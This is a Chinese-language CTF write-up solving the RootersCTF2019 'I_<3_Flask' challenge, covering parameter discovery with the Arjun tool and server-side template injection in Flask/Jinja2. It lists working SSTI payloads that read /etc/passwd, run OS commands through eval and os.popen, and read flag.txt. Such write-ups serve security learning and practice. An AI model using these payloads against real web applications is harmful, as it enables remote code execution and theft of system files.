[RootersCTF2019]I_<3_Flask-1|SSTI注入
- 2022 年 8 月 25 日
- 筆記
- BUUCTF刷題記錄, SSTI注入
1、打開之後很明顯的提示flask框架,但是未提供參數,在源程式碼中發現了一個git地址,打開之後也是沒有啥用,結果如下:

2、這裡我們首先需要爆破出來參數進行資訊的傳遞,就需要使用Arjun這一款工具來進行破解,工具的使用過程:
1、pip3 install arjun
2、python3 setup.py install
輸入arjun -h顯示如下即可:

3、使用arjun爆破參數名,payload:arjun -u url -c 150 -d 0.5,成功獲得參數名name,結果如下:

4、常用的注入方式:
#讀取文件與寫文件類
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
#執行命令
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令執行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
選取命令執行查看下目錄資訊,獲取到flag.txt文件,結果如下:

5、讀取下flag.txt文件,payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('flag.txt', 'r').read() }}{% endif %}{% endfor %},成功獲得flag,結果如下:


